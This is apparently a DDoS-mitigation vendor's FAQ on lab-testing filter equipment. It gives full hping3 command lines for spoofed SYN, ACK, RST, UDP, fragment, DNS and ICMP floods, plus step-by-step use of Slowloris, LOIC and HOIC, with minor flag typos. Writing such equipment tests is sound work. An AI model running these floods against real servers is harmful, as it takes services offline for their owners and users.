How to Conduct DDoS Attack Tests
Overview
Customers often ask how we qualify RioRey filter elements, and how can they do tests to compare various DDoS vendors' equipment. This FAQ attempts to cover some basic test methods to qualify any DDoS filter equipments. The tests outlined here are more illustrative than comprehensive. In real life, there are many DDoS attack bots, most are capable of generating a large number of DDoS attack types and none of them generate the same attack type the same way. Therefore, with practically unlimited variations of DDoS attacks, this section attempts to help you use simple, publicly available tools to generate DDoS attacks for testing.
At the RioRey test lab, we use an array of IXIA test gear plus a large number of blade servers running an even larger number of Virtual Machines to emulate various attack and good traffic. A quick qualifying test requires us to run non-stop automated tests for 48 hours, while a comprehensive release test usually take 7 to 10 days to complete the test suites.
A Test Platform Architecture
There are two main groups of DDoS tests, spoofed packet test and layer 7 attacks. There are many linux tools available to generate spoofed packets such as: hping, packit, pktgen etc. We recommend using hping3 for its flexibility where you can use a single tool to generate most attack packets for spoofed IP attack. In our examples, we use linux workstations with python scripts to generate payload for the various attacks.
For Layer 7 attacks, we recommend using Anonymous LOIC and HOIC attack tools, and also the widely distributed Slowloris tool.
Implementing the test
In the following examples, all linux systems used are Ubuntu servers, with python installed. We also recommand installing hping3 by the standard Ubuntu command:
apt-get install hping3
Each workstation should be able to generate 200 to 400kpps depending on the type of packet output. For Layer 7 attacks, the attack tools downloaded are usually written for Windows and can run in a Windows 7 machine.
All attacks are targeted at a web server or a DNS server. In our example, we loaded a set of web pages into the web server. It is good to get a web server with many different pages, that way, in Layer 7 attacks, you can use multiple attackers each attacking a different page on your server.
We recommend that you use 10 to 20 servers to perform the test. This way:
- You can mix and match different attacks at the same time
- You can put maximum pps on the system to test throughput capabilities
- You can simulate more accurately how a small cluster (10 or 20) of anonymous attackers can affect your system.
If you don't have an actual server or other device for your victim, you may need to manipulate the ARP tables on each of your attackers.
Test Cases, Organized by Attack Type (ATxx)
AT1 at ~ 300kpps per attack server.
This attack command generates spoofed source IP SYN flood. Our attacker has eth2.101 as the output port for the attack traffic. Our victim server has IP of 90.16.6.1.
hping3 90.16.6.1 -S -p 80 --flood -I eth2.101 --rand-source
-S = SYN
-p 80 = dest port 80
--flood = send packets as fast as possible, without taking care to show incoming replies
-I eth2.101 = send on dev eth2.101
--rand-source = random source IP
AT2 at ~350kpps per attack server
This attack command generates spoofed source IP SYN-ACK flood. Our attacker has eth2.101 as the output port for the attack traffic. Our victim server has IP of 90.16.6.1.
hping3 90.16.6.1 -S -A -p 80 --flood -I eth2.101 --rand-source
-S = SYN
-A = ACK
-p 80 = dest port 80
--flood = send packets as fast as possible, without taking care to show incoming replies
-I eth2.101 = send on dev eth2.101
--rand-source = random source IP
AT3 at ~300kpps per attack server
This attack script uses python to generate a set of random (but identical across packet) payload.
python -c "import random, sys; sys.stdout.write(''.join(['\\\x{0:02x}'.format(random.randint(0,255)) for _ in range(20)]))" > ack_payload && hping3 90.16.6.1 -A -d 20 -p 80 --flood -I eth2.101 -E ack_payload --rand-source
First use python to write 20 random (including possibly null) bytes to a file called ack_payload (since might be writing null bytes, can't use bash b/c bash ignores null bytes) - NOTE: these 20 random bytes will be the same across all packets sent
-A = ACK
-d 20 = use 20 byte payload
-p 80 = dest port 80
--flood = send packets as fast as possible, without taking care to show incoming replies
-I eth2.101 = send on dev eth2.101
-E ack_payload = use file ack_payload as the payload for these packets
--rand-source = random source IP
AT5 at ~350kpps per attack server
This is a spoofed RST flood.
hping3 90.16.6.1 -R -p 80 --flood -I eth2.101 --rand-source
-R = RST
-p 80 = dest port 80
--flood = send packets as fast as possible, without taking care to show incoming replies
-I eth2.101 = send on dev eth2.101
--rand-source = random source IP
AT6 at ~300kpps per attack server.
python -c "import random, sys; sys.stdout.write(''.join(['\\\x{0:02x}'.format(random.randint(0,255)) for _ in range(20)]))" > synonymous_payload && hping3 90.16.6.1 -A -d 20 -p 80 --flood -I eth2.101 -E synonymous_payload --spoof 90.16.6.1
First use python to write 20 random (including possibly null) bytes to a file called synonymous_payload (since might be writing null bytes, can't use bash b/c bash ignores null bytes) - NOTE: these 20 random bytes will be the same across all packets sent
-A = ACK
-d 20 = use 20 byte payload
-p 80 = dest port 80
--flood = send packets as fast as possible, without taking care to show incoming replies
-I eth2.101 = send on dev eth2.101
-E synonymous_payload = use file ack_payload as the payload for these packets
--spoof 90.16.6.1 = use 90.16.6.1 as the source IP
AT8 and AT10 (Slowloris)
We will be using LOIC, HOIC and Slowloris.pl attacks. Their code can be downloaded easily from the web. However, if you have trouble downloading them, please contact RioRey and we can provide a link to download them.
In these tests, we set up the attack to address various pages, but for illustration purposes, we will be testing "www.testriorey1.com". It is important to use different pages from different attackers to demonstrate the challenges associated with defending against an anonymous attack.
Launching the Slowloris attack, enter the following at the command line:
slowloris.pl -dns www.testriorey1.com
- This will default to 1000 connections, port 80, a tcp timeout of 5, and a 100 second retry timeout. If you want other values, you can first run slowloris.pl -dns www.testriorey1.com -test to determine the retry timeout to use (-timeout n) and you can set the number of sockets to use (-num n) if you know that the server has fewer (or more) than 1000 connections available.
- When satisfied with the filtering, Ctrl-C will stop the attack
- Note that the attacker's IP address will have to be changed between attacks if attempting to test multiple attacks within a short time period, as Layer 7 attackers get added to a gradually aging filter list for blocking once an attack has been detected.
You will see AT8/10 (and you may see AT5 sometimes) in Top Attackers. A Slowloris attack is by design created to generate a fraction of a HTTP request, and continue to consume sockets without completing the request (AT10 definition). However, the slowloris.pl code attempts to consume as many available sockets quickly, and in this rapid consumption of sockets, this is an AT8 Session Attack behavior. Therefore, you may see this attack reported as AT8 or AT10 depending on the initial burst the attacker managed to launch. If the server is busy with good traffic, the attack will likely display as AT10, while if the server is mostly not busy, then an AT8 attack will be reported.
You will know that the attack has been successfully mitigated from slowloris by observing that the "N packets successfully sent" count in the slowloris.pl software display will stop incrementing.
AT11 (LOIC)
Launch the windows version of LOIC
- enter www.testriorey1.com into the textbox labelled "URL"
- click the "Lock on" button next to the textbox labelled "URL"
- notice that the text field labelled "Selected target" now reads 90.16.6.1
- under "Attack options", go to the pull-down labelled "Method" and select "HTTP"
- change the number of threads from 10 to 15
- if desired, adjust the speed (slower attacks will take somewhat longer to cross the attack threshold and therefore will take somewhat longer to be picked up as an attack)
- click the big button under "Ready?" labelled "IMMA CHARGIN MAH LAZER"
- when satisfied with the filtering, click the button again to stop the attack
- Note that the attacker's IP address will have to be changed between attacks if attempting to test multiple attacks within a short time period, as Layer 7 attackers get added to a gradually aging filter list for blocking once an attack has been detected.
In rWeb->Zone Control->the zone you've set up for this web server->Top Attacker (about halfway down the left side of the page), you should see packets being reported as AT11 (you may also see some small number of packets being reported as AT5 or AT10, but AT11 packets will comprise the majority). In addition, you will soon see a victim created for attack type AT11.
You will know that the attack has been successfully mitigated from LOIC by observing one of two things: the "Downloaded" count will stop incrementing and either:
- The threads will all be stuck on "Connecting", "Requesting", "Downloading"; or
- The "Failed" count will increment. Observing rWeb's reporting or directly examining the health of the server should tell you if the filtering is successful, as well.
AT11 (HOIC)
Launch the windows version of HOIC
- Click the "+" symbol underneath "TARGETS" to add a target
- Under "URL" Enter the URL or IP address of your destination server (format: http://www.testriorey1.com/ or http://90.16.6.1/)
- Slide the "Power" bar to the desired setting (as with LOIC, low power attacks may take slightly longer to get picked up)
- The "Booster" dropdown can be safely ignored
- Click 'Add'
- Observe that a line has been added for the target that was just created and that 'Status' reads "READY"
- If desired, the number of threads may be adjusted from the default of 2
- Click the button labeled "FIRE TEH LAZER" to begin the attack.
- When satisfied with the filtering, click the button again to stop the attack
HOIC will show AT11 in Top Attackers and will generate an AT11 victim. Unlike LOIC, HOIC has no indication of whether or not its attack is successful - it only displays its output - so the only to tell if the attack has been filtered is by observing rWeb's reporting or by examining the health of the server directly.
AT17 at ~270kpps per attacking server.
python -c "import random, sys; sys.stdout.write(''.join(['\\\x{0:02x}'.format(random.randint(0,255)) for _ in range(20)]))" > udp_payload && hping3 90.16.6.1 --udp -p 80 --flood -I eth2.101 --rand-source -d 20 -E udp_payload
First use python to write 20 random (including possibly null) bytes to a file called udp_payload (since might be writing null bytes, can't use bash b/c bash ignores null bytes) - NOTE: these 20 random bytes will be the same across all packets sent
--udp = udp (as opposed to default of tcp)
-p 80 = dest port 80
--flood = send packets as fast as possible, without taking care to show incoming replies
-I eth2.101 = send on dev eth2.101
--rand-source = random source IP
-d 20 = 20 byte payload
-E udp_payload = use file udp_payload as the payload for these packets
AT18 at ~220kpps per attacking server
python -c "import random, sys; sys.stdout.write(''.join(['\\\x{0:02x}'.format(random.randint(0,255)) for _ in xrange(1000)]))" > udp_frag_payload && hping3 90.16.6.1 --udp -p 80 --flood -I eth2.101 --rand-source -x -g 100 -d 1000 -E udp_frag_payload
First use python to write 1000 random (including possibly null) bytes to a file called udp_frag_payload (since might be writing null bytes, can't use bash b/c bash ignores null bytes) - NOTE: these 1000 random bytes will be the same across all packets sent
--udp = udp (as opposed to default of tcp)
-p 80 = dest port 80
--flood = send packets as fast as possible, without taking care to show incoming replies
-I eth2.101 = send on dev eth2.101
--rand-source = random source IP
-x = more fragments
-g 100 = fragment offset = 100
-d 1000 = 1000 byte payload
-E udp_frag_payload = use file udp_frag_payload to populate the payload for the packets
AT19 at ~280kpps per attacking server
python -c "import sys; sys.stdout.write('\x00\x02\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x06\x67\x6f\x6f\x67\x6c\x65\x03\x63\x6f\x6d\x00\x00\x01\x00\x01')" > dns_payload && hping3 90.16.6.1 --udp -p 53 --flood -I eth2.101 --rand-source -E dns_payload -d 28
First use python to write hex 00 02 01 00 00 01 00 00 00 00 00 00 06 67 6f 6f 67 6c 65 03 63 6f 6d 00 00 01 00 01 to file dns_payload (since writing null bytes (among others), can't use bash to write b/c bash ignores null bytes)
--udp = udp (as opposed to default of tcp)
-p 53 = dest port 53
--flood = send packets as fast as possible, without taking care to show incoming replies
-I eth2.101 = send on dev eth2.101
--rand-source = random source IP
-E dns_payload = use file dns_payload for the payload of the packets
-d 28 = 28 byte payload
AT23 at ~360kpps per attacking server
hping3 90.16.6.1 --icmp --flood -I eth2.101 --rand-source -C 5
--icmp = icmp (as opposed to default of tcp)
--flood = send packets as fast as possible, without taking care to show incoming replies
-I eth2.101 = send on dev eth2.101
--rand-source = random source IP
-C 5 = icmp type 5 (fairly arbitrary - the main point is not 0 or 8, or else it's AT25 instead)
AT24 @ ~320kpps per attacking server.
hping3 90.16.6.1 --icmp --flood -I eth2.101 --rand-source -c 5 -x -g 100
--icmp = icmp (as opposed to default of tcp)
--flood = send packets as fast as possible, without taking care to show incoming replies
-I eth2.101 = send on dev eth2.101
--rand-source = random source IP
-C 5 = icmp type 5 (fairly arbitrary - the main point is not 0 or 8, or else it's AT25 instead)
-x = more fragments
-g 100 = fragment offset 100
AT25 @ ~340kpps
hping3 90.16.6.1 --icmp --flood -I eth2.101 --rand-source
--icmp = icmp (as opposed to default of tcp)
--flood = send packets as fast as possible, without taking care to show incoming replies
-I eth2.101 = send on dev eth2.101
--rand-source = random source IP
(type defaults to ping - so icmp type 8)